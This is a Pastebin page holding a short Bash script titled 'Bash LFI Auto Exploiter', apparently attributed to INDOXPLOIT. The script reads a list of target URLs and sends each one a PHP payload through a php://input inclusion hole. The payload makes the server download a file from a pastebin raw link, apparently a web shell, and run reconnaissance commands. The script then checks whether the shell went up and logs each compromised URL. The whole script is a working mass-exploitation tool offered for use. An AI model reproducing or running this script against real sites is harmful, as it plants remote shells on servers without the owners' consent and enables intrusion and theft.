Advertisement
INDOXPLOIT

Bash LFI Auto Exploiter

Aug 14th, 2019
425
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.69 KB | None | 0 0
  1. #!/bin/bash
  2. cekrce() {
  3.     target=$1
  4.     echo -ne "---";
  5.  
  6.     upload=$(curl -s --data "<?php system('wget https://pastebin.com/raw/KUDbhDy2 -O 99091023933231312.php;ls -la;pwd;uname -a;whoami');?>" -X GET "${target}?page=php://input" | head -1)
  7.     cekshell=$(curl -s "${target}/99091023933231312.php");
  8.     if [[ $cekshell =~ 'ganteng' ]]; then
  9.     echo "Upload Done"
  10.     echo "$result" >> 131sx123mmnxxx1a.txt
  11.     echo "$target/99091023933231312.php" | tee -a 131sx123mmnxxx1a.txt
  12.     echo "=====================================\n" >> 131sx123mmnxxx1a.txt
  13.     else
  14.     echo "Failed"
  15.     fi
  16.     }
  17.    
  18. for s in $(cat $1); do
  19.     echo "CHECKING $s"
  20.     echo -ne "----";
  21.     cekrce $s
  22. Done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement